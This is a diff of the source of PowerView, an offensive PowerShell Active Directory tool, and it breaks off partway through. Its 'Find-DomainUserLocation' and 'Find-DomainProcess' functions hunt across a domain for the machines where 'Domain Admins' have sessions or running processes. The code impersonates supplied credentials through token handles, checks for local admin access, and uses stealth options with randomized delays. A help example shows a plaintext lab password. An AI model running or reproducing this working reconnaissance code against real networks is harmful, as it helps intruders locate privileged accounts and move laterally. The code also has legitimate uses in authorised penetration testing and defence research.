$UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + + # first, build the set of computers to enumerate + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName } - - if(!$ComputerName) { - [Array]$ComputerName = @() - - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } - - if($Stealth) { - Write-Verbose "Stealth mode! Enumerating commonly used servers" - Write-Verbose "Stealth source: $StealthSource" - - ForEach ($Domain in $TargetDomains) { - if (($StealthSource -eq "File") -or ($StealthSource -eq "All")) { - Write-Verbose "[*] Querying domain $Domain for File Servers..." - $ComputerName += Get-NetFileServer -Domain $Domain -DomainController $DomainController - } - if (($StealthSource -eq "DFS") -or ($StealthSource -eq "All")) { - Write-Verbose "[*] Querying domain $Domain for DFS Servers..." - $ComputerName += Get-DFSshare -Domain $Domain -DomainController $DomainController | ForEach-Object {$_.RemoteServerName} - } - if (($StealthSource -eq "DC") -or ($StealthSource -eq "All")) { - Write-Verbose "[*] Querying domain $Domain for Domain Controllers..." - $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname} - } + else { + if ($PSBoundParameters['Stealth']) { + Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource" + $TargetComputerArrayList = New-Object System.Collections.ArrayList + + if ($StealthSource -match 'File|All') { + Write-Verbose '[Find-DomainUserLocation] Querying for file servers' + $FileServerSearcherArguments = @{} + if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential } + $FileServers = Get-DomainFileServer @FileServerSearcherArguments + if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) } + $TargetComputerArrayList.AddRange( $FileServers ) } - } - else { - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - - $Arguments = @{ - 'Domain' = $Domain - 'DomainController' = $DomainController - 'ADSpath' = $ADSpath - 'Filter' = $ComputerFilter - 'Unconstrained' = $Unconstrained + if ($StealthSource -match 'DFS|All') { + Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers' + # # TODO: fix the passed parameters to Get-DomainDFSShare + # $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName} + } + if ($StealthSource -match 'DC|All') { + Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers' + $DCSearcherArguments = @{ + 'LDAP' = $True } - - $ComputerName += Get-NetComputer @Arguments + if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } + $DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname + if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) } + $TargetComputerArrayList.AddRange( $DomainControllers ) } + $TargetComputers = $TargetComputerArrayList.ToArray() } - - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" + else { + Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } } - - if ($Poll -gt 0) { - Write-Verbose "[*] Polling for $Poll seconds. Automatically enabling threaded mode." - if ($ComputerName.Count -gt 100) { - throw "Too many hosts to poll! Try fewer than 100." - } - $Threads = $ComputerName.Count + Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainUserLocation] No hosts found to enumerate' } - ##################################################### - # - # Now we build the user target set - # - ##################################################### - - # users we're going to be searching for - $TargetUsers = @() - # get the current user so we can ignore it in the results - $CurrentUser = ([Environment]::UserName).toLower() - - # if we're showing all results, skip username enumeration - if($ShowAll -or $ForeignUsers) { - $User = New-Object PSObject - $User | Add-Member Noteproperty 'MemberDomain' $Null - $User | Add-Member Noteproperty 'MemberName' '*' - $TargetUsers = @($User) - - if($ForeignUsers) { - # if we're searching for user results not in the primary domain - $krbtgtName = Convert-ADName -ObjectName "krbtgt@$($Domain)" -InputType Simple -OutputType NT4 - $DomainShortName = $krbtgtName.split("\")[0] - } - } - # if we want to hunt for the effective domain users who can access a target server - elseif($TargetServer) { - Write-Verbose "Querying target server '$TargetServer' for local users" - $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { - $User = New-Object PSObject - $User | Add-Member Noteproperty 'MemberDomain' ($_.AccountName).split("/")[0].toLower() - $User | Add-Member Noteproperty 'MemberName' ($_.AccountName).split("/")[1].toLower() - $User - } | Where-Object {$_} - } - # if we get a specific username, only use that - elseif($UserName) { - Write-Verbose "[*] Using target user '$UserName'..." - $User = New-Object PSObject - if($TargetDomains) { - $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] - } - else { - $User | Add-Member Noteproperty 'MemberDomain' $Null - } - $User | Add-Member Noteproperty 'MemberName' $UserName.ToLower() - $TargetUsers = @($User) + if ($PSBoundParameters['Credential']) { + $CurrentUser = $Credential.GetNetworkCredential().UserName } - # read in a target user list if we have one - elseif($UserFile) { - $TargetUsers = Get-Content -Path $UserFile | ForEach-Object { - $User = New-Object PSObject - if($TargetDomains) { - $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] - } - else { - $User | Add-Member Noteproperty 'MemberDomain' $Null - } - $User | Add-Member Noteproperty 'MemberName' $_ - $User - } | Where-Object {$_} + else { + $CurrentUser = ([Environment]::UserName).ToLower() } - elseif($UserADSpath -or $UserFilter -or $AdminCount) { - ForEach ($Domain in $TargetDomains) { - - $Arguments = @{ - 'Domain' = $Domain - 'DomainController' = $DomainController - 'ADSpath' = $UserADSpath - 'Filter' = $UserFilter - 'AdminCount' = $AdminCount - 'AllowDelegation' = $AllowDelegation - } - Write-Verbose "[*] Querying domain $Domain for users" - $TargetUsers += Get-NetUser @Arguments | ForEach-Object { - $User = New-Object PSObject - $User | Add-Member Noteproperty 'MemberDomain' $Domain - $User | Add-Member Noteproperty 'MemberName' $_.samaccountname - $User - } | Where-Object {$_} - - } + # now build the user target set + if ($PSBoundParameters['ShowAll']) { + $TargetUsers = @() + } + elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { + $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname } else { - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController + $GroupSearcherArguments = @{ + 'Identity' = $UserGroupIdentity + 'Recurse' = $True } + if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } + $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName } - if (( (-not $ShowAll) -and (-not $ForeignUsers) ) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { - throw "[!] No users found to search for!" + Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)" + if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) { + throw '[Find-DomainUserLocation] No users found to target' } - # script block that enumerates a server + # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { - param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, $Poll, $Delay, $Jitter) - - # optionally check if the server is up first - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName - } - if($Up) { - $Timer = [System.Diagnostics.Stopwatch]::StartNew() - $RandNo = New-Object System.Random - - Do { - if(!$DomainShortName) { - # if we're not searching for foreign users, check session information - $Sessions = Get-NetSession -ComputerName $ComputerName - ForEach ($Session in $Sessions) { - $UserName = $Session.sesi10_username - $CName = $Session.sesi10_cname - - if($CName -and $CName.StartsWith("\\")) { - $CName = $CName.TrimStart("\") - } + Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle) - # make sure we have a result - if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) { + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } - $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + $Sessions = Get-NetSession -ComputerName $TargetComputer + ForEach ($Session in $Sessions) { + $UserName = $Session.UserName + $CName = $Session.CName - $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress - $FoundUser = New-Object PSObject - $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain - $FoundUser | Add-Member Noteproperty 'UserName' $UserName - $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress - $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName + if ($CName -and $CName.StartsWith('\\')) { + $CName = $CName.TrimStart('\') + } - # Try to resolve the DNS hostname of $Cname - try { - $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName - $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName - } - catch { - $FoundUser | Add-Member NoteProperty 'SessionFromName' $Null - } + # make sure we have a result, and ignore computer$ sessions + if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) { - # see if we're checking to see if we have local admin access on this machine - if ($CheckAccess) { - $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin - } - else { - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null - } - $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') - $FoundUser + if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) { + $UserLocation = New-Object PSObject + $UserLocation | Add-Member Noteproperty 'UserDomain' $Null + $UserLocation | Add-Member Noteproperty 'UserName' $UserName + $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer + $UserLocation | Add-Member Noteproperty 'SessionFrom' $CName + + # try to resolve the DNS hostname of $Cname + try { + $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName + $UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName + } + catch { + $UserLocation | Add-Member NoteProperty 'SessionFromName' $Null } + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin + } + else { + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null + } + $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') + $UserLocation } } } - if(!$Stealth) { + if (-not $Stealth) { # if we're not 'stealthy', enumerate loggedon users as well - $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName + $LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer ForEach ($User in $LoggedOn) { - $UserName = $User.wkui1_username - # TODO: translate domain to authoratative name - # then match domain name ? - $UserDomain = $User.wkui1_logon_domain + $UserName = $User.UserName + $UserDomain = $User.LogonDomain # make sure wet have a result if (($UserName) -and ($UserName.trim() -ne '')) { + if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) { + $IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress + $UserLocation = New-Object PSObject + $UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain + $UserLocation | Add-Member Noteproperty 'UserName' $UserName + $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer + $UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress + $UserLocation | Add-Member Noteproperty 'SessionFrom' $Null + $UserLocation | Add-Member Noteproperty 'SessionFromName' $Null - $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { - - $Proceed = $True - if($DomainShortName) { - if ($DomainShortName.ToLower() -ne $UserDomain.ToLower()) { - $Proceed = $True - } - else { - $Proceed = $False - } + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = Test-AdminAccess -ComputerName $TargetComputer + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin } - if($Proceed) { - $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress - $FoundUser = New-Object PSObject - $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain - $FoundUser | Add-Member Noteproperty 'UserName' $UserName - $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress - $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null - $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null - - # see if we're checking to see if we have local admin access on this machine - if ($CheckAccess) { - $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin - } - else { - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null - } - $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') - $FoundUser + else { + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null } + $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') + $UserLocation } } } } + } + } - if ($Poll -gt 0) { - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - } - } While ($Poll -gt 0 -and $Timer.Elapsed.TotalSeconds -lt $Poll) + if ($TokenHandle) { + Invoke-RevertToSelf } } - } - process { - - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" - - # if we're using threading, kick off the script block with Invoke-ThreadedFunction - $ScriptParams = @{ - 'Ping' = $(-not $NoPing) - 'TargetUsers' = $TargetUsers - 'CurrentUser' = $CurrentUser - 'Stealth' = $Stealth - 'DomainShortName' = $DomainShortName - 'Poll' = $Poll - 'Delay' = $Delay - 'Jitter' = $Jitter + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } - - # kick off the threaded script block + arguments - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } + } - else { - if(-not $NoPing -and ($ComputerName.count -ne 1)) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 - } + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random - ForEach ($Computer in $ComputerName) { - + ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, 0, 0, 0 - $Result + Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken - if($Result -and $StopOnSuccess) { - Write-Verbose "[*] Target user found, returning early" + if ($Result -and $StopOnSuccess) { + Write-Verbose "[Find-DomainUserLocation] Target user found, returning early" return } } } + else { + Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads" + Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" - } -} - + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'TargetUsers' = $TargetUsers + 'CurrentUser' = $CurrentUser + 'Stealth' = $Stealth + 'TokenHandle' = $LogonToken + } -function Invoke-StealthUserHunter { - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] - [String[]] - $ComputerName, + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] - [String] - $ComputerFile, + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} - [String] - $ComputerFilter, - [String] - $ComputerADSpath, +function Find-DomainProcess { +<# +.SYNOPSIS - [String] - $GroupName = 'Domain Admins', +Searches for processes on the domain using WMI, returning processes +that match a particular user specification or process name. - [String] - $TargetServer, +Thanks to @paulbrandau for the approach idea. - [String] - $UserName, +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction - [String] - $UserFilter, +.DESCRIPTION - [String] - $UserADSpath, +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and queries the domain for users of a specified group +(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the +function enumerates any current processes running with Get-WMIProcess, +searching for processes running under any target user contexts or with the +specified -ProcessName. If -Credential is passed, it is passed through to +the underlying WMI commands used to enumerate the remote machines. - [ValidateScript({Test-Path -Path $_ })] - [String] - $UserFile, +.PARAMETER ComputerName - [Switch] - $CheckAccess, +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. - [Switch] - $StopOnSuccess, +.PARAMETER Domain - [Switch] - $NoPing, +Specifies the domain to query for computers AND users, defaults to the current domain. - [UInt32] - $Delay = 0, +.PARAMETER ComputerDomain - [Double] - $Jitter = .3, +Specifies the domain to query for computers, defaults to the current domain. - [String] - $Domain, +.PARAMETER ComputerLDAPFilter - [Switch] - $ShowAll, +Specifies an LDAP query string that is used to search for computer objects. - [Switch] - $SearchForest, +.PARAMETER ComputerSearchBase - [String] - [ValidateSet("DFS","DC","File","All")] - $StealthSource ="All" - ) - # kick off Invoke-UserHunter with stealth options - Invoke-UserHunter -Stealth @PSBoundParameters -} +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. +.PARAMETER ComputerUnconstrained -function Invoke-ProcessHunter { -<# - .SYNOPSIS +Switch. Search computer objects that have unconstrained delegation. - Query the process lists of remote machines, searching for - processes with a specific name or owned by a specific user. - Thanks to @paulbrandau for the approach idea. - - Author: @harmj0y - License: BSD 3-Clause +.PARAMETER ComputerOperatingSystem - .PARAMETER ComputerName +Search computers with a specific operating system, wildcards accepted. - Host array to enumerate, passable on the pipeline. +.PARAMETER ComputerServicePack - .PARAMETER ComputerFile +Search computers with a specific service pack, wildcards accepted. - File of hostnames/IPs to search. +.PARAMETER ComputerSiteName - .PARAMETER ComputerFilter +Search computers in the specific AD Site name, wildcards accepted. - Host filter name to query AD for, wildcards accepted. +.PARAMETER ProcessName - .PARAMETER ComputerADSpath +Search for processes with one or more specific names. - The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +.PARAMETER UserIdentity - .PARAMETER ProcessName +Specifies one or more user identities to search for. - The name of the process to hunt, or a comma separated list of names. +.PARAMETER UserDomain - .PARAMETER GroupName +Specifies the domain to query for users to search for, defaults to the current domain. - Group name to query for target users. +.PARAMETER UserLDAPFilter - .PARAMETER TargetServer +Specifies an LDAP query string that is used to search for target users. - Hunt for users who are effective local admins on a target server. +.PARAMETER UserSearchBase - .PARAMETER UserName +Specifies the LDAP source to search through for target users. +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. - Specific username to search for. +.PARAMETER UserGroupIdentity - .PARAMETER UserFilter +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. - A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" +.PARAMETER UserAdminCount - .PARAMETER UserADSpath +Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). - The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +.PARAMETER Server - .PARAMETER UserFile +Specifies an Active Directory server (domain controller) to bind to. - File of usernames to search for. +.PARAMETER SearchScope - .PARAMETER StopOnSuccess +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). - Switch. Stop hunting after finding after finding a target user/process. +.PARAMETER ResultPageSize - .PARAMETER NoPing +Specifies the PageSize to set for the LDAP searcher object. - Switch. Don't ping each host to ensure it's up before enumerating. +.PARAMETER ServerTimeLimit - .PARAMETER Delay +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - Delay between enumerating hosts, defaults to 0 +.PARAMETER Tombstone - .PARAMETER Jitter +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - Jitter for the host delay, defaults to +/- 0.3 +.PARAMETER Credential - .PARAMETER Domain +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. - Domain for query for machines, defaults to the current domain. +.PARAMETER StopOnSuccess - .PARAMETER DomainController +Switch. Stop hunting after finding after finding a target user. - Domain controller to reflect LDAP queries through. +.PARAMETER Delay - .PARAMETER ShowAll +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. - Switch. Return all user location results. +.PARAMETER Jitter - .PARAMETER SearchForest +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 - Switch. Search all domains in the forest for target users instead of just - a single domain. +.PARAMETER Threads - .PARAMETER Threads +The number of threads to use for user searching, defaults to 20. - The maximum concurrent threads to execute. +.EXAMPLE - .PARAMETER Credential +Find-DomainProcess - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target machine/domain. +Searches for processes run by 'Domain Admins' by enumerating every computer in the domain. - .EXAMPLE +.EXAMPLE - PS C:\> Invoke-ProcessHunter -Domain 'testing' - - Finds machines on the 'testing' domain where domain admins have a - running process. +Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local - .EXAMPLE +Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by +privileged users in dev.testlab.local. - PS C:\> Invoke-ProcessHunter -Threads 20 +.EXAMPLE - Multi-threaded process hunting, replaces Invoke-ProcessHunterThreaded. +Find-DomainProcess -ProcessName putty.exe - .EXAMPLE +Searchings for instances of putty.exe running on the current domain. - PS C:\> Invoke-ProcessHunter -UserFile users.txt -ComputerFile hosts.txt - - Finds machines in hosts.txt where any members of users.txt have running - processes. +.EXAMPLE - .EXAMPLE +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainProcess -Domain testlab.local -Credential $Cred - PS C:\> Invoke-ProcessHunter -GroupName "Power Users" -Delay 60 - - Find machines on the domain where members of the "Power Users" groups have - running processes with a 60 second (+/- *.3) randomized delay between - touching each host. +Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials. - .LINK +.OUTPUTS - http://blog.harmj0y.net +PowerView.UserProcess #> - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] + [OutputType('PowerView.UserProcess')] + [CmdletBinding(DefaultParameterSetName = 'None')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] [String[]] $ComputerName, - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] + [ValidateNotNullOrEmpty()] [String] - $ComputerFile, + $Domain, + [ValidateNotNullOrEmpty()] [String] - $ComputerFilter, + $ComputerDomain, + [ValidateNotNullOrEmpty()] [String] - $ComputerADSpath, + $ComputerLDAPFilter, + [ValidateNotNullOrEmpty()] [String] - $ProcessName, + $ComputerSearchBase, + + [Alias('Unconstrained')] + [Switch] + $ComputerUnconstrained, + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] [String] - $GroupName = 'Domain Admins', + $ComputerOperatingSystem, + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] [String] - $TargetServer, + $ComputerServicePack, + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] [String] - $UserName, + $ComputerSiteName, + + [Parameter(ParameterSetName = 'TargetProcess')] + [ValidateNotNullOrEmpty()] + [String[]] + $ProcessName, + + [Parameter(ParameterSetName = 'TargetUser')] + [Parameter(ParameterSetName = 'UserIdentity')] + [ValidateNotNullOrEmpty()] + [String[]] + $UserIdentity, + [Parameter(ParameterSetName = 'TargetUser')] + [ValidateNotNullOrEmpty()] [String] - $UserFilter, + $UserDomain, + [Parameter(ParameterSetName = 'TargetUser')] + [ValidateNotNullOrEmpty()] [String] - $UserADSpath, + $UserLDAPFilter, - [ValidateScript({Test-Path -Path $_ })] + [Parameter(ParameterSetName = 'TargetUser')] + [ValidateNotNullOrEmpty()] [String] - $UserFile, + $UserSearchBase, - [Switch] - $StopOnSuccess, + [ValidateNotNullOrEmpty()] + [Alias('GroupName', 'Group')] + [String[]] + $UserGroupIdentity = 'Domain Admins', + [Parameter(ParameterSetName = 'TargetUser')] + [Alias('AdminCount')] [Switch] - $NoPing, - - [UInt32] - $Delay = 0, - - [Double] - $Jitter = .3, + $UserAdminCount, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $Domain, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $DomainController, - - [Switch] - $ShowAll, - - [Switch] - $SearchForest, + $SearchScope = 'Subtree', - [ValidateRange(1,100)] + [ValidateRange(1, 10000)] [Int] - $Threads, - - [Management.Automation.PSCredential] - $Credential - ) - - begin { + $ResultPageSize = 200, - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, - # random object for delay - $RandNo = New-Object System.Random + [Switch] + $Tombstone, - Write-Verbose "[*] Running Invoke-ProcessHunter with delay of $Delay" + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, - ##################################################### - # - # First we build the host target set - # - ##################################################### + [Switch] + $StopOnSuccess, - # if we're using a host list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } + [ValidateRange(1, 10000)] + [Int] + 